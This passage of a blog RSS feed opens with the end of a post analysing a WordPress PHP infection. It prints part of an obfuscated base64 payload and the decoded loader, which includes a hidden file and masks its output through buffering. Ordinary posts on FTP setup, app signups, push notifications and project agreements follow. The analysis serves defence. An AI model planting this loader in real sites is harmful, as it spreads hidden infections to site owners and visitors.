Esjdz744dKyTEKqjHQUNKcbm088fEYS2MTZtEhUN6nDZ93MV+yE5nZdHS076CHGviXT/ChclcnDXzvfNlf03heK7f6HJ7fdlV29qTBDbA4CdJFcDEuP9Q8JA+ce3aLNRAYyPLBTH1WC/UqFwOuyxkSqjDc0M+YJZZq/+hzJpDxxBRBn+zOingjMkdsWYpEZTa7HcoUMs9dpNzcbqXlLIO8smB6djDEuxwFNMn6jqZ1RIl0FcAcB92szZ8Ghn0BsfQW9Z6/vl6nC7dlliqZ9YdsX/BvPpMoF3F9gQuwzDoCVqGq7GD9rv7IXrZxyN/ieAp5tYROORNmuuoAfvjYAx4pMaP8ex5F9q8+Fjsf7vWm/1K9bF/0I8euuTxdc8GHfHM+k1PTf6uKPWmBSQdhahVC6ykloAHBWscOOddPFV7IT9Ymej3sfpkkhXe+/b/sxf9U/+x7hIzfF/hOjsAvB57t3Q3cQFFV+xt5xeLlsX2wzUX/T9uWVOAc9hoYvsss0VXx7qfSRwfznTdqCjRD1U4OiyYqMffEVJ0eAFX4KvvD920SqI3w7Qr+lREpHNKra8FYSVt3s7cOdODxy4vEpYqaR0o95NgQ3wmZpVked/93oJnK8rz7SpbvujnB4ngaeiwIcMkmRuag1nttwZzSQbV6+qdKx2rYCflgfxLrv6zTNwSfGW+VtohaHH1EEPzepxWEKdQ32mZncUQGpPwhgvZxAIOG9/+ofJvqFC3Vre2FhZcqiLsmTdqpIDfPV1dIx9F384svLTmOcRV8RevAx+VCaCuyQN6MfoWzxn1KO6yvvBMWMif5xl/6bxdSshPxUqMl7tyT/7DLBzlbvUDSsK6QLOMGURwrSchhEAxPYpbnN/sT183UKZW6fenbpMbNvyVpAx5T+yujN8oFTMUDBpH75q5YnnQQT3fjdryNmFNzB54fL9h/9j03Z7aneKYrNoQH89eAPsTJ3DMpxENhAXH/eUF2Mj0aKqF1lBiZp9Oktr/5z7sfwCHRdMLpstfB2KrtvIFfGmiQda/sKkR7YpNb1sgitikeCgImDe6Hoe8caTyxYehDERcvxPSF3DYyiPoeTz9+mWz7UcmY7XKVB9XjT83/EIq3FDDtOea1GEnPlqNHDK7f4AP6UFIglY8xInfDMf5crwgzjxQc1T5L1OvErKVgmLaD4YF5FngseDM9AXOp44xIGRABiY/feeOFaA07qHV7VCUmVoct56brAEooVotZA0Ndf7mI1+/ILmerzPjgftP8yNcUEOUcCak6p98NYSHSnKlFKP0yuzNe4XIuk9jmzV/KL+C1YnlOrmgA5XnEgn7UrRRNpggAXDTNhkEzYZ/xJ2LxWCSANRo+fXqf2OCoErnbyjJ7J0TegNQ6foUga4WF4fqCAOPliIhj36cw5wPaX2ngdXnSDTjCQiQj0k9V4h+vD1XmEWrOuyg+FdAOVl4xYzfjd/hBVq7skvZDZKPrx94ZDx5dMtdTiKYkQLyqGPMN9AjxUnyR6IDou6dzieVOW2CMxdHSZSLsJ2iVnnAQguGe9I8wNbTG55bIE/YrXmk6r8UskuNyBdmcwyCSEAN2es6q5LGrC6YCesq2022/r52mTdgjXXNB6+9f2u4f/XdInKOhN8xBomFjGPTcenSGeZXUwcVsx2VDvDPz0bJu/Pcz2q8ymICOz5Qon9rVNEUIqSLlXxKjF336IgdZxBtpmSO612M3bKpAAwOoAwUv/zz9///79938=\')));'</span></pre></div></div>

<p>Wait, what?! So it just comes out to more of the same? It takes a <em>looong</em> time but you can keep decoding and you&#8217;ll finally get this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #0000ff;">'if(function_exists(\'ob_start\')&amp;&amp;!isset($GLOBALS[\'mfsn\'])){$GLOBALS[\'mfsn\']=\'/home/beachhea/public_html/bpwiki/PHPTAL-NP-0.7.0/libs/PHPTAL/Attribute/I18N/662.php\';if(file_exists($GLOBALS[\'mfsn\'])){include_once($GLOBALS[\'mfsn\']);if(function_exists(\'gml\')&amp;&amp;function_exists(\'dgobh\')){ob_start(\'dgobh\');}}}'</span></pre></div></div>

<p>Or, cleaned up:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ob_start'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mfsn'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mfsn'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/home/beachhea/public_html/bpwiki/PHPTAL-NP-0.7.0/libs/PHPTAL/Attribute/I18N/662.php'</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mfsn'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">include_once</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mfsn'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'gml'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'dgobh'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'dgobh'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>As you can see, the virus placed some specific files on my machine. It spread this infection throughout all the other PHP files on the machine by having them look for the virus (<code>file_exists($GLOBALS['mfsn'])</code>), include it (<code>include_once($GLOBALS['mfsn']);</code>), and buffer the output of the malicious code (<code>ob_start('dgobh');</code>). Notably, it uses <a href="http://www.php.net/manual/en/intro.outcontrol.php">output buffering</a> to avoid outputting anything to the end user when they visit an infected webpage, preventing people from easily noticing the infection.</p>
<p>I deleted that <code>PHPTAL-NP-0.7.0</code> folder so I can&#8217;t tell you what the virus was exactly doing. However, <a href="http://phptal.org/">PHPTAL</a> is a legitimate templating library, so the virus creator must have been merely using it to hide his malicious code and/or save himself from repeating some common tasks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/deconstruction-a-wordpress-php-infection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let Me Map That For You</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/let-me-map-that-for-you-lmmtfy/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/let-me-map-that-for-you-lmmtfy/#comments</comments>
		<pubDate>Mon, 07 May 2012 13:40:50 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[mapping]]></category>
		<category><![CDATA[Maps]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=964</guid>
		<description><![CDATA[I like to make maps on Google Maps but adding a bunch of points can be a pain, so I made LMMTFY to speed up the process. Enjoy.]]></description>
			<content:encoded><![CDATA[<p>I like to make maps on Google Maps but adding a bunch of points can be a pain, so I made <a href="http://lmmtfy.heroku.com/">LMMTFY</a> to speed up the process. Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/let-me-map-that-for-you-lmmtfy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If iChat or Messages.app won&#8217;t connect to Google Talk</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/if-ichat-or-messages-app-wont-connect-to-google-talk/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/if-ichat-or-messages-app-wont-connect-to-google-talk/#comments</comments>
		<pubDate>Sun, 06 May 2012 09:59:05 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Google Talk]]></category>
		<category><![CDATA[iChat]]></category>
		<category><![CDATA[Messages]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[tip]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=962</guid>
		<description><![CDATA[Both I and my sister encountered this problem and I figured it&#8217;s worth sharing here: the applications seem to silently fail when it decides that the SSL certifications are wrong or don&#8217;t match the previous one seen. Simply go to Preferences, uncheck SSL, and reconnect. You should then be given an SSL warning and given [...]]]></description>
			<content:encoded><![CDATA[<p>Both I and <a href="http://www.justinerobinett.com">my sister</a> encountered this problem and I figured it&#8217;s worth sharing here: the applications seem to silently fail when it decides that the SSL certifications are wrong or don&#8217;t match the previous one seen. Simply go to Preferences, uncheck SSL, and reconnect. You should then be given an SSL warning and given the opportunity to accept or reject the new certification. After accepting it you should be connected. Finally, disconnect, enable SSL again, and the reconnect to be back with everything working.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/if-ichat-or-messages-app-wont-connect-to-google-talk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting up VSFTP with a virtual user</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/setting-up-vsftp-with-a-virtual-user/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/setting-up-vsftp-with-a-virtual-user/#comments</comments>
		<pubDate>Thu, 03 May 2012 23:19:00 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[VSFTP]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=958</guid>
		<description><![CDATA[VSFTP is supposed to be the bee&#8217;s knees of Linux FTP servers. Unfortunately it&#8217;s kind of confusingly documented, particularly if you want to setup a virtual (ie FTP-only, not shell or system) user. Basically, follow this tutorial, but if you want to let your virtual users have full permissions and for files to be set [...]]]></description>
			<content:encoded><![CDATA[<p><a href="https://security.appspot.com/vsftpd.html">VSFTP</a> is supposed to be the bee&#8217;s knees of Linux FTP servers. Unfortunately it&#8217;s kind of confusingly documented, particularly if you want to setup a virtual (ie FTP-only, not shell or system) user. Basically, follow <a href="ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.0.5/EXAMPLE/VIRTUAL_USERS/README">this tutorial</a>, but if you want to let your virtual users have full permissions and for files to be set properly on the server, get to know all the <a href="https://security.appspot.com/vsftpd/vsftpd_conf.html">configuration options</a>.</p>
<p>Specially, while you shouldn&#8217;t enable anonymous users (<code>anonymous_enable=NO</code>), virtual users are otherwise treated like them and use the same configuration directories, so enable all the <code>anon_*_enable</code> directives that are relevant to you.</p>
<p>If, like me, you&#8217;re uploading into a directory that&#8217;ll be served by your web server, make sure to set the umask such that the server can read the files (I used the <code>local_umask=022</code> suggested in the config file&#8217;s comments). The final piece in my puzzle was figuring out that I needed to add <code>virtual_use_local_privs=YES</code>.</p>
<p>Of course you should be using SFTP instead, but sometimes you&#8217;re forced to use FTP because of some backwards program.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/setting-up-vsftp-with-a-virtual-user/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Open Data Talk at the HvA</title>
		<link>http://www.bubblefoundry.com/blog/2012/05/open-data-talk-at-the-hva/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/05/open-data-talk-at-the-hva/#comments</comments>
		<pubDate>Thu, 03 May 2012 12:50:21 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[open data]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[speaking]]></category>
		<category><![CDATA[talk]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=955</guid>
		<description><![CDATA[I gave a lecture on open data and cities to my friend Laura&#8217;s City Discourse class at the CMD program of the Hogeschool van Amsterdam. Rather than going too much into technical issues I discussed the politics of open data, both how it&#8217;s a contested and even controversial issues, and what students should care about [...]]]></description>
			<content:encoded><![CDATA[<p>I gave a lecture on open data and cities to my friend Laura&#8217;s <a href="http://intra.iam.hva.nl/content/1112/cim/city_discourse//intro-en-materiaal/">City Discourse</a> class at the <a href="http://www.cmd-amsterdam.nl/">CMD program</a> of the <a href="http://www.hva.nl/">Hogeschool van Amsterdam</a>. Rather than going too much into technical issues I discussed the politics of open data, both how it&#8217;s a contested and even controversial issues, and what students should care about it. While there were a lot of students missing (hopefully not because they weren&#8217;t interested in me!), the ones there had some good questions and I had a great time. You can download a PDF of my slides here: <a href="http://www.bubblefoundry.com/files/2012/05/Open-Data-and-the-City-shortened2.pdf">Open Data and the City</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/05/open-data-talk-at-the-hva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The end of signups</title>
		<link>http://www.bubblefoundry.com/blog/2012/04/the-end-of-signups/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/04/the-end-of-signups/#comments</comments>
		<pubDate>Thu, 26 Apr 2012 19:14:35 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[accounts]]></category>
		<category><![CDATA[signups]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=953</guid>
		<description><![CDATA[Today Gawker announced that they&#8217;re letting people create anonymous &#8216;burner&#8217; accounts. What is interesting is that all you have to do is pick a pseudonym and you&#8217;re good to go: no name, email, and age to input, no account verification. I think this low friction way of creating website accounts is how (almost?) every service [...]]]></description>
			<content:encoded><![CDATA[<p>Today Gawker announced that they&#8217;re <a href="http://gawker.com/5905319/why-anonymity-matters">letting people create anonymous &#8216;burner&#8217; accounts</a>. What is interesting is that all you have to do is pick a pseudonym and you&#8217;re good to go: no name, email, and age to input, no account verification. I think this low friction way of creating website accounts is how (almost?) every service should work.</p>
<p>I&#8217;ve actually take this approach with Game Later, and I&#8217;m very happy with how it works (<a href="http://gamelater.herokuapp.com/">a link</a> for the brave, since it&#8217;s only designed for <a href="http://www.rockpapershotgun.com">Rock, Paper Shotgun</a> and is nowhere near prime time). Put simply, when Game Later is loaded I look for a single cookie containing a <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">UUID</a>. If it&#8217;s not there I create the cookie with a new UUID and create the associated User model in the database. That&#8217;s it.</p>
<p>That means that users can start saving game previews and reviews for later without any explicit signup ,and as long as they go back to the site in the same browser they&#8217;ll see their &#8216;laters&#8217;. I put the the UUID down at the bottom of the page along with the user-specific bookmarklet  so that in the future users can log into the account from another computer (manually editing the cookie in the browser is the only way right now but does work).</p>
<p>This is not a new idea, of course. If I remember correctly, Instapaper used to not require any signup – I do remember that you chose a username and didn&#8217;t need to have a password (and you know my <a href="http://www.bubblefoundry.com/blog/2011/12/amen/">feelings</a> <a href="http://www.bubblefoundry.com/blog/2011/01/password-fields/">about passwords</a>). I think a password was eventually required because of privacy issues (ie people guessing others&#8217; usernames and viewing their reading lists or spamming them with entries). People naturally use the same simple names (I&#8217;m pr1001 on <em>everything</em>) and they&#8217;re easy to guess.</p>
<p>Generating a UUID removes the only step in the 1 step signup process (asking for a name) and also protects against privacy issues: people can&#8217;t chose predictable usernames, and a UUID isn&#8217;t (as?) predictable as a sequential numeric id. Of course, if you switch computers occasionally then a predictable username is much preferable to an obtuse UUID, though I figure that happens relatively rarely.</p>
<p>But doesn&#8217;t mean that there will be an explosion of &#8216;users&#8217; in my database that aren&#8217;t connected to an active user? Sure, but database entries are cheap and it wouldn&#8217;t be hard at all to periodically clean up users with no saved games or who have been inactive for a long time. Likewise I could check the user agent when the page is requested and skip the creation of a user account when the site is loaded by Google or another crawler.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/04/the-end-of-signups/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sending iOS Push Messages with Urban Airship and BFUrbanAirship</title>
		<link>http://www.bubblefoundry.com/blog/2012/04/sending-ios-push-messages-with-urban-airship-and-bfurbanairship/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/04/sending-ios-push-messages-with-urban-airship-and-bfurbanairship/#comments</comments>
		<pubDate>Tue, 24 Apr 2012 23:33:52 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[dispatch]]></category>
		<category><![CDATA[iFebo]]></category>
		<category><![CDATA[push notifications]]></category>
		<category><![CDATA[Scala]]></category>
		<category><![CDATA[Urban Airship]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=949</guid>
		<description><![CDATA[For iFebo I built a server last year to handle sending push messages to Urban Airship, which we use in front of the Apple Push Notification service due to its great scheduling features. To do this I needed a way to interact with the UA API and while it&#8217;s got lots of features it&#8217;s not [...]]]></description>
			<content:encoded><![CDATA[<p>For <a href="http://www.bubblefoundry.com/portfolio/#iphone">iFebo</a> I built a server last year to handle sending push messages to <a href="http://www.urbanairship.com">Urban Airship</a>, which we use in front of the <a href="https://developer.apple.com/library/mac/#documentation/NetworkingInternet/Conceptual/RemoteNotificationsPG/ApplePushService/ApplePushService.html">Apple Push Notification service</a> due to its great scheduling features. To do this I needed a way to interact with the UA API and while it&#8217;s got lots of features it&#8217;s not terribly&#8230; consistent.</p>
<p style="text-align: left;">So, I wrote my own wrapper library which attempts to give you a more consistent and type-safe way to interact with the API. It&#8217;s taken me a long time to make it public and I&#8217;ve got some work to do to make it up to date, but I&#8217;m glad to give you <a href="https://github.com/bubblefoundry/BFUrbanAirship">BFUrbanAirship</a>. You can use it like so:</p>

<div class="wp_syntax"><div class="code"><pre class="scala" style="font-family:monospace;"><span style="color: #0000ff; font-weight: bold;">import</span> com.<span style="color: #000000;">bubblefoundry</span>.<span style="color: #000000;">bfurbanairship</span>.<span style="color: #000080;">_</span>
&nbsp;
<span style="color: #0000ff; font-weight: bold;">val</span> api <span style="color: #000080;">=</span> <span style="color: #0000ff; font-weight: bold;">new</span> UrbanAirship<span style="color: #F78811;">&#40;</span>app<span style="color: #000080;">_</span>token, app<span style="color: #000080;">_</span>secret, app<span style="color: #000080;">_</span>master<span style="color: #000080;">_</span>secret, appengine <span style="color: #000080;">=</span> <span style="color: #0000ff; font-weight: bold;">false</span><span style="color: #F78811;">&#41;</span>
<span style="color: #008000; font-style: italic;">// schedule a message to be pushed</span>
<span style="color: #0000ff; font-weight: bold;">val</span> message <span style="color: #000080;">=</span> SimplePushMessage<span style="color: #F78811;">&#40;</span>aps <span style="color: #000080;">=</span> Some<span style="color: #F78811;">&#40;</span>APS<span style="color: #F78811;">&#40;</span><span style="color: #6666FF;">&quot;A push message&quot;</span><span style="color: #F78811;">&#41;</span><span style="color: #F78811;">&#41;</span><span style="color: #F78811;">&#41;</span>
api.<span style="color: #000000;">push</span><span style="color: #F78811;">&#40;</span>message<span style="color: #F78811;">&#41;</span>
&nbsp;
<span style="color: #008000; font-style: italic;">// get a Stream of all registered devices</span>
api.<span style="color: #000000;">devices</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/04/sending-ios-push-messages-with-urban-airship-and-bfurbanairship/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How I maintain my events calendar</title>
		<link>http://www.bubblefoundry.com/blog/2012/03/how-i-maintain-my-events-calendar/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/03/how-i-maintain-my-events-calendar/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 10:57:22 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[tech meetups]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=943</guid>
		<description><![CDATA[Chris asked how I maintain the Dutch Tech Meetups Calendar since he&#8217;s working on his own calendar for Berlin. Here&#8217;s the answer: I manually add events to the calendar, though it&#8217;s pretty easy since most are on Meetup. You could import a feed, for example the feed of Meetup events you&#8217;re attending, but I don&#8217;t attend most [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://chris.eidhof.nl/">Chris</a> asked how I maintain the <a href="http://www.bubblefoundry.com/dutch-tech-meetups/">Dutch Tech Meetups Calendar</a> since he&#8217;s working on <a href="http://chris.eidhof.nl/post/19948332455/berlin-tech-meetups">his own calendar for Berlin</a>. Here&#8217;s the answer:</p>
<p>I manually add events to the calendar, though it&#8217;s pretty easy since most are on Meetup. You could import a feed, for example the feed of Meetup events you&#8217;re attending, but I don&#8217;t attend most of the events on my calendar. Also, I need a separate calendar because not every event is on Meetup.</p>
<p>On the Meetup page just under the meeting title there&#8217;s an export link and you can select Google. Sometime you can only see the link if you&#8217;re a member of the group and sometimes that&#8217;s not necessary. The link fills in a new calendar entry and I generally leave it at that. I was rewriting the dashes that Meetup uses to separate to commas, but that&#8217;s actually not necessary: Maps will understand the address links correctly either way.</p>
<p>The one annoying thing is that the new calendar entry screen only lets you select your main, default calendar. That means that every time I have to save the event to my personal calendar. After saving Google shows my calendar and an alert at the top saying that the event has been saved. You can click on the name of the event in this alert and you&#8217;re taken to the edit event screen. This is exactly the same as the add event screen except here you can select other calendars. I usually change calendars (halfway down the page) rather than using the copy option up at the top.</p>
<p>Since I&#8217;m subscribed to just about every tech Meetup group in the Netherlands plus a bunch of other mailing lists, I&#8217;m constantly hearing about events and I add one or two events a day. Have I missed something? Email me at <a href="mailto:peter@bubblefoundry.com">peter@bubblefoundry.com</a>!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bubblefoundry.com/blog/2012/03/how-i-maintain-my-events-calendar/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to organize your project without lawyers</title>
		<link>http://www.bubblefoundry.com/blog/2012/03/how-to-organize-your-project-without-lawyers/</link>
		<comments>http://www.bubblefoundry.com/blog/2012/03/how-to-organize-your-project-without-lawyers/#comments</comments>
		<pubDate>Thu, 15 Mar 2012 01:05:43 +0000</pubDate>
		<dc:creator>Peter</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[advice]]></category>
		<category><![CDATA[incorporation]]></category>
		<category><![CDATA[organization]]></category>
		<category><![CDATA[projects]]></category>
		<category><![CDATA[teams]]></category>

		<guid isPermaLink="false">http://www.bubblefoundry.com/?p=939</guid>
		<description><![CDATA[Of course, I&#8217;m not a lawyer, but I&#8217;ve used this approach and I believe that it should cover most things adequately. The situation So, let&#8217;s say you are starting a new project with some friends and you think that after investing some time and money it will eventually make some money. You&#8217;re all friends but [...]]]></description>
			<content:encoded><![CDATA[<p>Of course, I&#8217;m not a lawyer, but I&#8217;ve used this approach and I believe that it should cover most things adequately.</p>
<p><strong>The situation</strong></p>
<p>So, let&#8217;s say you are starting a new project with some friends and you think that after investing some time and money it will eventually make some money. You&#8217;re all friends but you&#8217;d also like to stay friends, so you&#8217;re looking to come to a simple, fair agreement ahead of time so you can get down to business.</p>
<p>So, what you need is just a simple plan about how to operate that you all agree on and that covers all the major bases. This is it. While verbal agreements are binding contracts in most places (again, <a href="https://en.wikipedia.org/wiki/IANAL">IANAL</a>), it&#8217;s nice to have a paper trail. Email is good for that. Spell everything out in an email to everyone (or just direct them to this post) and make sure everyone replies saying they agree. Done.</p>
<p>Lots of people think you should immediately rush down to City Hall or the Chamber of Commerce and incorporate and get a company bank account before you do anything. I think all that is just extra work and a distraction from the goal of a project, so I advise avoiding it<strong> as long as reasonable</strong><em>. </em>This guide will address many of the things you would have to address when incorporating a company (ownership, funding, salaries, etc) while avoiding the paperwork and costs of one. Score!</p>
<p><strong>Revenue &#8211; Expenses = Profit</strong></p>
<p>This is how any business operates, so this is how you should operate. It&#8217;s not complicated:</p>
<p><em>Whenever you get revenue in and you agree to not save the cash for a future expense, pay off any outstanding costs. If there&#8217;s any left over, pay it out as profits.</em></p>
<p>But what&#8217;s a cost? Who should get paid first? But I&#8217;m going to be spending more time on this than them! Hold your horses, I&#8217;m getting to all that.</p>
<p><strong>The table: People x Time &amp; Cash</strong></p>
<p>Make a spreadsheet like this:</p>
<table>
<thead>
<tr>
<th>Person</th>
<th>Hours</th>
<th>Costs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Person 1</td>
<td>50</td>
<td>€150</td>
</tr>
<tr>
<td>Person 2</td>
<td>24</td>
<td>€0</td>
</tr>
<tr>
<td>Person 3</td>
<td>10</td>
<td>€1000</td>
</tr>
</tbody>
</table>
<p>Have it in Google Docs. Let everyone update it (don&#8217;t worry, there&#8217;s a record of changes). That&#8217;s all the intra-team book keeping you need to do.</p>
<p><strong>Costs</strong></p>
<p>This is actual cash that someone&#8217;s had to spent out of pocket as part of the project. Bought a domain name? Needed to rent a car and drive to Milan? Hired a boa constrictor for a children&#8217;s party (you crazy person you)? Those all go under Costs. Of course, your 7 day vacation in the Seychelles is not a cost. Costs should be reasonable and/or approved by the group (see later section).</p>
<p><strong>Hours</strong></p>
<p>Everyone should record the hours they spend on the project. This is essentially people&#8217;s salaries in a company, except we&#8217;re paying based upon how much people work and not flat salaries. <strong>Everyone&#8217;s hours should be valued equally</strong> (yes, this is a socialist capitalist enterprise). I like a rate of <strong>€100 an hour</strong>, since it&#8217;s probably pretty generous for most people and if any of your lucky dogs are used to earning more, well, just consider it the price to pay for doing whatever awesome creative project you&#8217;re doing.</p>
<p><strong>What to do with revenue</strong></p>
<p>Great, you&#8217;ve got some dough coming it! Make it rain! Whether your app is the next Angry Birds or if Cocoa Cola hired you to produce their next global campaign, money is money. Like I said before, first pay off expenses and then take your profit. As for expenses, <strong>first pay off cash costs and then hours invested</strong>. Why? Because costs directly reduce bank accounts, while hours spent &#8216;only&#8217; represent opportunity costs (hours you could have spent on normal paid work). So pay off the Costs first.</p>
<p>You may want to wait until the project has finished before settling up if you get a fair bit of money upfront but still have to spend time and will have more costs. On the other hand, if your project is something like an app where you have money coming in over a longer period of time, you may want to regularly make payouts.</p>
<p>If someone doesn&#8217;t have anything in the column you&#8217;re paying off (like Person 2 under Costs), they don&#8217;t get any money <strong>until everyone&#8217;s costs have been paid</strong> and you&#8217;ve begun to pay off Hours.</p>
<p>Generally I would pay people off evenly: for instance, if we made $300 I&#8217;d pay Person 1 $150 and Person 3 $150. However, it may make sense to pay down someone&#8217;s amount before others if it&#8217;s out of disproportionally large, e.g. pay all $300 to Person 3. Just do what you agree is fair.</p>
<p><strong>Profits</strong></p>
<p>After you&#8217;re at zeros in both the Hours and Costs columns, you can now pay out profits. <strong>Pay everyone evenly<em>.</em> </strong>There&#8217;s no point in trying to decide that some people are worth more than others: that just leads to arguments and broken friendships, and <strong>the expenses columns already account for people putting in different levels of effort</strong>.</p>
<p>If you think that you&#8217;re about to have more costs in the future, you can hold off paying profits until after you&#8217;ve covered them. Just leave the cash in whatever accounts you&#8217;re using, whether people&#8217;s individual bank accounts – where they should make sure to account for the group&#8217;s money – or in a group account like <a href="https://holvi.com/">Holvi</a>.</p>
<p>One option, if you want to keep rewarding people according to what they invest even as you get more and more revenue in is to readjust your common hourly rate. Even €2000 an hour can work if it gives an outcome that you think is fair.</p>
<p><strong>Making Decisions</strong></p>
<p>I&#8217;ve mentioned a few times to just do what is fair or you want to do. Who decides? <strong>Any important decision must be approved by at least 50.1% of the team. 1 person equals 1 vote.</strong></p>
<p><strong></strong>This means that you should rarely have ties and one person can&#8217;t hold up everything – this isn&#8217;t the US Congress, for god&#8217;s sake! At the same time, on small teams a supermajority is usually necessary to have a majority at all, which is a good thing (e.g. on a team of 4, 3 people must be in favor to approve a decision). If you&#8217;re stuck then nothing happens, and you just stick to the original plan.</p>
<p><strong>People Leaving</strong></p>
<p>If you find that one person is not holding up their side of the bargin, or if you&#8217;re continually the odd man out, it&#8217;s time to leave. A person can voluntarily leave (of course) or <strong>the remaining team can force them out</strong> – again, they need that 50.1% mentioned earlier.</p>
<p>What happens when a person leaves? I&#8217;d recommend settling up their Costs and Hours as soon as possible, even at the expense of skipping other people. If that&#8217;s not possible, then you owe them the appropriate amounts when possible. As for profits, you owe the person any profits made<strong> based upon the project while they were a member</strong>.</p>
<p>What does this mean? If you&#8217;re making an iPhone app and someone leaves right when you launch the app (and thus before there were any profits), they deserve their equal share of any profits from subsequent app sales, since they were part of the team when it was made. As soon as there is a new version the remaining team <strong>doesn&#8217;t owe them anything</strong> (since of course they&#8217;ve already paid off expenses already if they&#8217;re paying out profits).</p>
<p>Yes, this means that updates could be quickly rushed out to minimize the profits due to the ex team member. This means that it would be a good idea to <strong>negotiate the specifics</strong> about the potential profits due someone when they leave. But the principle is that <strong>a person profits equally on the portion of the project they were involved in and no more</strong>.</p>
